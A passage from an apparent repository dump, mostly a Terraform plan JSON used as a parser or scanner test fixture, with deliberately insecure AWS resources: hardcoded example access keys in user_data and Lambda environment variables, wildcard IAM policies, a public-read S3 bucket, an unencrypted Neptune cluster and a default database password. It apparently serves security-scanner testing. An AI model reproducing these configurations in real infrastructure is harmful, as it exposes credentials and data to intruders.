\"data.aws_iam_policy_document.iam_policy_eks\"\n              ]\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_lambda\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy.ec2policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy\",\n          \"name\": \"ec2policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.ec2role\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy_arn\": {\n              \"constant_value\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role_policy_attachment\",\n          \"name\": \"policy_attachment-AmazonEKSServicePolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy_arn\": {\n              \"constant_value\": \"arn:aws:iam::aws:policy/AmazonEKSServicePolicy\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user\",\n          \"name\": \"user\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_user_policy.userpolicy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_user_policy\",\n          \"name\": \"userpolicy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"constant_value\": \"excess_policy\"\n            },\n            \"policy\": {\n              \"constant_value\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"ec2:*\\\",\\n        \\\"s3:*\\\",\\n        \\\"lambda:*\\\",\\n        \\\"cloudwatch:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n            },\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.user\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_instance.db_app\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"db_app\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"references\": [\n                \"data.aws_ami.amazon-linux-2\"\n              ]\n            },\n            \"iam_instance_profile\": {\n              \"references\": [\n                \"aws_iam_instance_profile.ec2profile\"\n              ]\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t2.nano\"\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"user_data\": {\n              \"references\": [\n                \"aws_db_instance.default\",\n                \"aws_db_instance.default\",\n                \"var.password\",\n                \"aws_db_instance.default\"\n              ]\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_instance.web_host\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web_host\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"references\": [\n                \"var.ami\"\n              ]\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t2.nano\"\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"user_data\": {\n              \"constant_value\": \"#! /bin/bash\\nsudo apt-get update\\nsudo apt-get install -y apache2\\nsudo systemctl start apache2\\nsudo systemctl enable apache2\\nexport AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMAAA\\nexport AWS_SECRET_ACCESS_KEY=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\\nexport AWS_DEFAULT_REGION=us-west-2\\necho \\\"\\u003ch1\\u003eDeployed via Terraform\\u003c/h1\\u003e\\\" | sudo tee /var/www/html/index.html\\n\"\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_internet_gateway.web_igw\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_internet_gateway\",\n          \"name\": \"web_igw\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_kms_alias.logs_key_alias\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_alias\",\n          \"name\": \"logs_key_alias\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"target_key_id\": {\n              \"references\": [\n                \"aws_kms_key.logs_key\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_kms_key.logs_key\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_kms_key\",\n          \"name\": \"logs_key\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"deletion_window_in_days\": {\n              \"constant_value\": 7\n            },\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_lambda_function.analysis_lambda\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_lambda_function\",\n          \"name\": \"analysis_lambda\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"environment\": [\n              {\n                \"variables\": {\n                  \"constant_value\": {\n                    \"access_key\": \"AKIAIOSFODNN7EXAMPLE\",\n                    \"secret_key\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n                  }\n                }\n              }\n            ],\n            \"filename\": {\n              \"constant_value\": \"resources/lambda_function_payload.zip\"\n            },\n            \"function_name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"handler\": {\n              \"constant_value\": \"exports.test\"\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_lambda\"\n              ]\n            },\n            \"runtime\": {\n              \"constant_value\": \"nodejs12.x\"\n            },\n            \"source_code_hash\": {}\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_neptune_cluster.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"backup_retention_period\": {\n              \"constant_value\": 5\n            },\n            \"cluster_identifier\": {\n              \"references\": [\n                \"var.neptune-dbname\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"neptune\"\n            },\n            \"iam_database_authentication_enabled\": {\n              \"constant_value\": false\n            },\n            \"preferred_backup_window\": {\n              \"constant_value\": \"07:00-09:00\"\n            },\n            \"skip_final_snapshot\": {\n              \"constant_value\": true\n            },\n            \"storage_encrypted\": {\n              \"constant_value\": false\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_neptune_cluster_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_instance\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"cluster_identifier\": {\n              \"references\": [\n                \"aws_neptune_cluster.default\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"neptune\"\n            },\n            \"instance_class\": {\n              \"constant_value\": \"db.t3.medium\"\n            }\n          },\n          \"schema_version\": 0,\n          \"count_expression\": {\n            \"constant_value\": 1\n          }\n        },\n        {\n          \"address\": \"aws_neptune_cluster_snapshot.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_neptune_cluster_snapshot\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"db_cluster_identifier\": {\n              \"references\": [\n                \"aws_neptune_cluster.default\"\n              ]\n            },\n            \"db_cluster_snapshot_identifier\": {\n              \"constant_value\": \"resourcetestsnapshot1\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_network_interface.web-eni\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_network_interface\",\n          \"name\": \"web-eni\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"private_ips\": {\n              \"constant_value\": [\n                \"172.16.10.100\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route.public_internet_gateway\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route\",\n          \"name\": \"public_internet_gateway\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"destination_cidr_block\": {\n              \"constant_value\": \"0.0.0.0/0\"\n            },\n            \"gateway_id\": {\n              \"references\": [\n                \"aws_internet_gateway.web_igw\"\n              ]\n            },\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"timeouts\": {\n              \"create\": {\n                \"constant_value\": \"5m\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table.web_rtb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table\",\n          \"name\": \"web_rtb\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_route_table_association.rtbassoc2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route_table_association\",\n          \"name\": \"rtbassoc2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"route_table_id\": {\n              \"references\": [\n                \"aws_route_table.web_rtb\"\n              ]\n            },\n            \"subnet_id\": {\n              \"references\": [\n                \"aws_subnet.web_subnet2\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.data\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"public-read\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.data_science\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"data_science\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"logging\": [\n              {\n                \"target_bucket\": {\n                  \"references\": [\n                    \"aws_s3_bucket.logs\"\n                  ]\n                },\n                \"target_prefix\": {\n                  \"constant_value\": \"log/\"\n                }\n              }\n            ],\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.financials\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"financials\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.flowbucket\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"flowbucket\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.logs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"logs\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"log-delivery-write\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"server_side_encryption_configuration\": [\n              {\n                \"rule\": [\n                  {\n                    \"apply_server_side_encryption_by_default\": [\n                      {\n                        \"kms_master_key_id\": {\n                          \"references\": [\n                            \"aws_kms_key.logs_key\"\n                          ]\n                        },\n                        \"sse_algorithm\": {\n                          \"constant_value\": \"aws:kms\"\n                        }\n                      }\n                    ]\n                  }\n                ]\n              }\n            ],\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket.operations\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket\",\n          \"name\": \"operations\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"acl\": {\n              \"constant_value\": \"private\"\n            },\n            \"bucket\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"force_destroy\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"versioning\": [\n              {\n                \"enabled\": {\n                  \"constant_value\": true\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_s3_bucket_object.data_object\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_s3_bucket_object\",\n          \"name\": \"data_object\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"bucket\": {\n              \"references\": [\n                \"aws_s3_bucket.data\"\n              ]\n            },\n            \"key\": {\n              \"constant_value\": \"customer-master.xlsx\"\n            },\n            \"source\": {\n              \"constant_value\": \"resources/customer-master.xlsx\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_security_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_security_group.web-node\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group\",\n          \"name\": \"web-node\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1,\n          \"depends_on\": [\n            \"aws_vpc.web_vpc\"\n          ]\n        },\n        {\n          \"address\": \"aws_security_group_rule.egress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"egress\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_blocks\": {\n              \"constant_value\": [\n                \"0.0.0.0/0\"\n              ]\n            },\n            \"from_port\": {\n              \"constant_value\": 0\n            },\n            \"protocol\": {\n              \"constant_value\": \"-1\"\n            },\n            \"security_group_id\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            },\n            \"to_port\": {\n              \"constant_value\": 0\n            },\n            \"type\": {\n              \"constant_value\": \"egress\"\n            }\n          },\n          \"schema_version\": 2\n        },\n        {\n          \"address\": \"aws_security_group_rule.ingress\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_security_group_rule\",\n          \"name\": \"ingress\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_blocks\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            },\n            \"from_port\": {\n              \"constant_value\": \"3306\"\n            },\n            \"protocol\": {\n              \"constant_value\": \"tcp\"\n            },\n            \"security_group_id\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            },\n            \"to_port\": {\n              \"constant_value\": \"3306\"\n            },\n            \"type\": {\n              \"constant_value\": \"ingress\"\n            }\n          },\n          \"schema_version\": 2\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet1\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet1\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.10.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.eks_name\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.eks_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.eks_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"eks_subnet2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone2\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.11.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.eks_name\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.eks_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.10.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_subnet.web_subnet2\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"web_subnet2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone2\"\n              ]\n            },\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.11.0/24\"\n            },\n            \"map_public_ip_on_launch\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_volume_attachment.ebs_att\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_volume_attachment\",\n          \"name\": \"ebs_att\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"device_name\": {\n              \"constant_value\": \"/dev/sdh\"\n            },\n            \"instance_id\": {\n              \"references\": [\n                \"aws_instance.web_host\"\n              ]\n            },\n            \"volume_id\": {\n              \"references\": [\n                \"aws_ebs_volume.web_host_storage\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_vpc.eks_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"eks_vpc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_block\": {\n              \"constant_value\": \"10.10.0.0/16\"\n            },\n            \"enable_dns_hostnames\": {\n              \"constant_value\": true\n            },\n            \"enable_dns_support\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_vpc.web_vpc\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"web_vpc\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cidr_block\": {\n              \"constant_value\": \"172.16.0.0/16\"\n            },\n            \"enable_dns_hostnames\": {\n              \"constant_value\": true\n            },\n            \"enable_dns_support\": {\n              \"constant_value\": true\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"null_resource.push_image\",\n          \"mode\": \"managed\",\n          \"type\": \"null_resource\",\n          \"name\": \"push_image\",\n          \"provider_config_key\": \"null\",\n          \"provisioners\": [\n            {\n              \"type\": \"local-exec\",\n              \"expressions\": {\n                \"command\": {\n                  \"references\": [\n                    \"var.region\",\n                    \"data.aws_caller_identity.current\",\n                    \"var.region\",\n                    \"aws_ecr_repository.repository\",\n                    \"aws_ecr_repository.repository\",\n                    \"local.docker_image\",\n                    \"local.docker_image\"\n                  ]\n                },\n                \"working_dir\": {\n                  \"references\": [\n                    \"path.module\"\n                  ]\n                }\n              }\n            }\n          ],\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_ami.amazon-linux-2\",\n          \"mode\": \"data\",\n          \"type\": \"aws_ami\",\n          \"name\": \"amazon-linux-2\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"filter\": [\n              {\n                \"name\": {\n                  \"constant_value\": \"owner-alias\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"amazon\"\n                  ]\n                }\n              },\n              {\n                \"name\": {\n                  \"constant_value\": \"name\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                }\n              }\n            ],\n            \"most_recent\": {\n              \"constant_value\": true\n            },\n            \"owners\": {\n              \"constant_value\": [\n                \"amazon\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_caller_identity.current\",\n          \"mode\": \"data\",\n          \"type\": \"aws_caller_identity\",\n          \"name\": \"current\",\n          \"provider_config_key\": \"aws\",\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"iam_policy_eks\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"sts:AssumeRole\"\n                  ]\n                },\n                \"effect\": {\n                  \"constant_value\": \"Allow\"\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"eks.amazonaws.com\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"Service\"\n                    }\n                  }\n                ]\n              }\n            ]\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_iam_policy_document.policy\",\n          \"mode\": \"data\",\n          \"type\": \"aws_iam_policy_document\",\n          \"name\": \"policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"statement\": [\n              {\n                \"actions\": {\n                  \"constant_value\": [\n                    \"es:*\"\n                  ]\n                },\n                \"principals\": [\n                  {\n                    \"identifiers\": {\n                      \"constant_value\": [\n                        \"*\"\n                      ]\n                    },\n                    \"type\": {\n                      \"constant_value\": \"AWS\"\n                    }\n                  }\n                ],\n                \"resources\": {\n                  \"constant_value\": [\n                    \"*\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ],\n      \"variables\": {\n        \"ami\": {\n          \"default\": \"ami-09a5b0b7edf08843d\"\n        },\n        \"availability_zone\": {\n          \"default\": \"us-west-2a\"\n        },\n        \"availability_zone2\": {\n          \"default\": \"us-west-2b\"\n        },\n        \"company_name\": {\n          \"default\": \"acme\"\n        },\n        \"dbname\": {\n          \"default\": \"db1\",\n          \"description\": \"Name of the Database\"\n        },\n        \"environment\": {\n          \"default\": \"dev\"\n        },\n        \"neptune-dbname\": {\n          \"default\": \"neptunedb1\",\n          \"description\": \"Name of the Neptune graph database\"\n        },\n        \"password\": {\n          \"default\": \"Aa1234321Bb\",\n          \"description\": \"Database password\"\n        },\n        \"profile\": {\n          \"default\": \"default\"\n        },\n        \"region\": {\n          \"default\": \"us-west-2\"\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_tags_variety/tags.tf",
